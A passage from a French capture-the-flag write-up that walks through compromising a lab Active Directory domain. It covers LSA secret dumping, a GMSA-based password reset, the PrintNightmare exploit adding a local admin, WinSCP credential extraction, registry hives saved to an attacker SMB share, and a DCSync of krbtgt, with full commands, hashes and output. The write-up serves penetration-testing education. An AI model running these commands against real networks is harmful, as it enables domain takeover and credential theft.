SMB 10.2.10.11 445 SRV01 GOTHAM\SRV01$:plain_password_hex:64004...5f00
SMB 10.2.10.11 445 SRV01 GOTHAM\SRV01$:aad3b435b51404eeaad3b435b51404ee:33e385f4ed222ac56d6b17af98f48d53:::
SMB 10.2.10.11 445 SRV01 localuser:password
SMB 10.2.10.11 445 SRV01 dpapi_machinekey:0x0ded16015c1b2d2804898ebcb137431065670996
dpapi_userkey:0xbf846a0b25a28c0df4668c0e30aaf3fd39b63bae
SMB 10.2.10.11 445 SRV01 _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_850d620d...6b4
SMB 10.2.10.11 445 SRV01 _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d6...0000
SMB 10.2.10.11 445 SRV01 GMSA ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c NTLM: 2b541aa7ee43f2b82f222a2de948b7ac
SMB 10.2.10.11 445 SRV01 [+] Dumped 11 LSA secrets to /home/klemou/.nxc/logs/lsa/SRV01_10.2.10.11_2025-05-21_174856.secrets and /home/klemou/.nxc/logs/lsa/SRV01_10.2.10.11_2025-05-21_174856.cached
Parmi les secrets extraits, figure un identifiant de compte GMSA ainsi que son hash. Grâce à l’identifiant GMSA récupéré 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c
, il est possible d’interroger le contrôleur de domaine afin d’en obtenir le nom exact :
$ nxc ldap DC01.GOTHAM.CITY -u joker -p '<3batman0893' --gmsa-convert-id 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c
LDAP 10.2.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY)
LDAP 10.2.10.10 389 DC01 [+] GOTHAM.CITY\joker:<3batman0893
LDAP 10.2.10.10 389 DC01 Account: gmsa-robin$ ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c
Le serveur LDAP répond positivement, et l’identifiant correspond au compte gmsa-robin$
, confirmant qu’il s’agit bien d’un compte de service managé actif sur le domaine.
Latéralisation
Le compte gmsa-robin$
dispose de l’ACL GenericAll
sur l’objet HARLEY.QUINN
, ce qui permet de prendre le contrôle de ce dernier. En utilisant le hash NTLM
de gmsa-robin$
, il est possible de réinitialiser le mot de passe de l’utilisateur ciblé sans disposer de ses identifiants en clair.
Cette opération s’effectue simplement à l’aide du script Impacket suivant :
$ changepasswd.py -reset -altuser 'gmsa-robin$' -althash ':2b541aa7ee43f2b82f222a2de948b7ac' -newpass 'Chevalo123' GOTHAM.CITY/'HARLEY.QUINN'@DC01.GOTHAM.CITY
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of GOTHAM.CITY\HARLEY.QUINN as GOTHAM.CITY\gmsa-robin$
[*] Connecting to DCE/RPC as GOTHAM.CITY\gmsa-robin$
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Une fois l’action exécutée, HARLEY.QUINN
est totalement compromis avec un mot de passe défini par l’attaquant : Chevalo123
SRV02 compromission
Comme précédemment, un scan RDP permet d’identifier que l’utilisateur HARKEY.QUINN
dispose d’un accès RDP à la machine SRV02
.
$ nxc rdp SRV02.GOTHAM.CITY -u HARLEY.QUINN -p Chevalo123
RDP 10.2.10.12 3389 SRV02 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP 10.2.10.12 3389 SRV02 [+] GOTHAM.CITY\HARLEY.QUINN:Chevalo123 (Pwn3d!)
La méthodologie appliquée sur SRV02
est identique à celle employée pour SRV01
. Après énumération, un rapport HTML est généré afin de faciliter la lecture et l’analyse des résultats.
Lors de cette revue, un point notable a attiré l’attention : la machine autorise l’installation de drivers (au format DLL) par des utilisateurs non privilégiés aka PrintNightmare.
Une fois encore, itm4n propose une excellente ressource détaillant à la fois le mécanisme sous-jacent et les étapes d’exploitation : https://itm4n.github.io/printnightmare-exploitation/
PS C:\Users\HARLEY.QUINN\Downloads> Import-Module .\CVE-2021-34527.ps1
PS C:\Users\HARLEY.QUINN\Downloads> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\HARLEY.QUINN\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll"
[+] added user as local administrator
[+] deleting payload from C:\Users\HARLEY.QUINN\AppData\Local\Temp\nightmare.dll
PS C:\Users\HARLEY.QUINN\Downloads> net user
User accounts for \\SRV02
-------------------------------------------------------------------------------
adm1n Administrator DefaultAccount
Guest localuser WDAGUtilityAccount
The command completed successfully.
PS C:\Users\HARLEY.QUINN\Downloads> net user adm1n
User name adm1n
Full Name adm1n
...
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
Le compte adm1n
ainsi créé (mot de passe : P@ssw0rd
) offre un accès administrateur complet, utile pour les phases de post-exploitation
SRV02 post-exploitation
Lors de l’exploration de la machine, un fichier nommé winscp.reg
a été repéré à la racine du disque. Ce fichier contient plusieurs clés de registre liées à l’application WinSCP.
Warning: Le fichier
winscp.reg
est en réalité une coquille laissée par le déploiement automatique du challenge. Il n’était pas présent lors du déroulement du CTF original.
La démarche prévue initialement consistait à identifier un raccourci vers WinSCP présent sur le bureau de l’administrateur local, ce qui devait orienter le joueur vers une extraction manuelle des credentials via la base de registre.
Heureusement, l’outil nxc dispose d’un module dédié à l’extraction des mots de passe WinSCP enregistrés dans la base de registre. Ces identifiants sont chiffrés, mais un déchiffrement permet de les récupérer en clair.
$ nxc smb SRV02.GOTHAM.CITY -u adm1n -p 'P@ssw0rd' --local-auth -M winscp
SMB 10.2.10.12 445 SRV02 [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:SRV02) (signing:False) (SMBv1:False)
SMB 10.2.10.12 445 SRV02 [+] SRV02\adm1n:P@ssw0rd (Pwn3d!)
WINSCP 10.2.10.12 445 SRV02 [*] Looking for WinSCP creds in Registry...
WINSCP 10.2.10.12 445 SRV02 [+] Found 1 sessions for user "localuser" in registry!
WINSCP 10.2.10.12 445 SRV02 =======harvey.dent@coin.gotham.city=======
WINSCP 10.2.10.12 445 SRV02 HostName: coin.gotham.city
WINSCP 10.2.10.12 445 SRV02 UserName: harvey.dent
WINSCP 10.2.10.12 445 SRV02 Password: X76IAZS!j'Czu,
Le module WinSCP permet de récupérer les identifiants de l’utilisateur harvey.dent
, dont le mot de passe est X76IAZS!j'Czu,
.
Comme indiqué précédemment, ce compte dispose des privilèges nécessaires pour compromettre le domaine.
Latéralisation
Warning: Lors du CTF, le compte
harvey.dent
ne disposait que d’un droit GenericAll sur le groupe Backup Operators. Dans cette version, le compte possède un GenericAll sur plusieurs objets critiques du domaine. Cette élévation de privilèges inattendue est probablement due à une délégation héritée via l’objet SD_HOLDER, dont les permissions ont été propagées à d’autres entités du domaine.
Pour la suite de l’exploitation, nous adoptons une approche RP en nous basant sur les droits initialement prévus lors du CTF.
Les membres du groupe Backup Operators
, bénéficient de privilèges spécifiques leur permettant d’effectuer des sauvegardes du registre système via des appels RPC.
Dans un premier temps, afin de tirer parti des droits liés au groupe Backup Operators
, il est nécessaire d’y ajouter un utilisateur contrôlé. Pour cela, nous utilisons l’outil BloodyAD, en tirant parti des privilèges GenericAll du compte harvey.dent
.
À l’aide de harvey.dent
, il est alors possible d’ajouter l’utilisateur harley.quinn
au groupe cible, ce qui nous permet de poursuivre l’exploitation.
$ bloodyAD --dc-ip 10.2.10.10 -d GOTHAM.CITY -u harvey.dent -p "X76IAZS\!j'Czu," add groupMember "BACKUP OPERATORS" "HARLEY.QUINN"
[+] HARLEY.QUINN added to BACKUP OPERATORS
DC01 compromission
Grâce aux outils smbserver.py
et reg.py
de la suite Impacket, l’utilisateur harley.quinn
, est en mesure de sauvegarder à distance des clés de registre critiques depuis le contrôleur de domaine DC01.GOTHAM.CITY
.
$ reg.py GOTHAM.CITY/HARLEY.QUINN:Chevalo123@DC01.GOTHAM.CITY save -keyName 'HKLM\SAM' -o '\\192.168.1.105\MAGIE'
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\192.168.1.105\MAGIE\SAM.save
$ reg.py GOTHAM.CITY/HARLEY.QUINN:Chevalo123@DC01.GOTHAM.CITY save -keyName 'HKLM\SYSTEM' -o '\\192.168.1.105\MAGIE'
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SYSTEM to \\192.168.1.105\MAGIE\SYSTEM.save
$ reg.py GOTHAM.CITY/HARLEY.QUINN:Chevalo123@DC01.GOTHAM.CITY save -keyName 'HKLM\SECURITY' -o '\\192.168.1.105\MAGIE'
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SECURITY to \\192.168.1.105\MAGIE\SECURITY.save
Une fois les fichiers SAM
, SYSTEM
et SECURITY
transférés sur la machine de l’attaquant, il est possible d’extraire plusieurs informations sensibles à l’aide de l’outil secretsdump.py
de la suite Impacket.
$ secretsdump.py LOCAL -sam /tmp/SAM.save -system /tmp/SYSTEM.save -security /tmp/SECURITY.save
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3f02e3dd627ec1900f06582e9ab8b974
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:52e6c515252f0487bdca397297ddec12:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:999...17c482d2c4
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2e0bfc5c356e0007b1bbd8cf271a29fc
[*] DefaultPassword
(Unknown User):password
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc561b8474b0d0001119c041c6fe927b2674f2356
dpapi_userkey:0x63a64167deae79e57162b9ea64f3b310b1d98ff7
[*] NL$KM
0000 48 A9 42 4A 40 2E D8 07 57 62 4A 31 23 C1 65 02 H.BJ@...WbJ1#.e.
0010 37 B6 5C 94 CC 9F 02 6C C3 1E 78 B3 1A 5C 48 8A 7.\....l..x..\H.
0020 1A 59 15 1F 60 63 62 F9 8B 3A 2E 62 9D 43 47 31 .Y..`cb..:.b.CG1
0030 BB E0 F1 6C 90 2A DC DA 70 12 17 DB AD 4D 8F 43 ...l.*..p....M.C
NL$KM:48a9424a402ed80757624a3123c1650237b65c94cc9f026cc31e78b31a5c488a1a59151f606362f98b3a2e629d434731bbe0f16c902adcda701217dbad4d8f43
[*] Cleaning up...
Et voilà, il ne reste plus qu’une étape pour conclure la compromission du domaine : exploiter le hash de l’administrateur récupéré précédemment afin d’effectuer un DCSync
.
$ secretsdump.py -hashes ':52e6c515252f0487bdca397297ddec12' -just-dc-user krbtgt Administrator@DC01.GOTHAM.CITY
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:beb984c951e28db8b8375bba747e7653:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:dc0d63c0573380053f5b5583b9671b8847fb3e46c7091181cc534ca28bb44f54
krbtgt:aes128-cts-hmac-sha1-96:7a20bf88597b160402090560b9264b78
krbtgt:des-cbc-md5:40a13d137994b6a1
[*] Cleaning up...
Un autre write-up Barbhack : Pwn – Voice ID
Auteur
Article écrit par Clément Viard alias KlemouLeZoZo, alternant en Test d’Intrusion chez ACCEIS.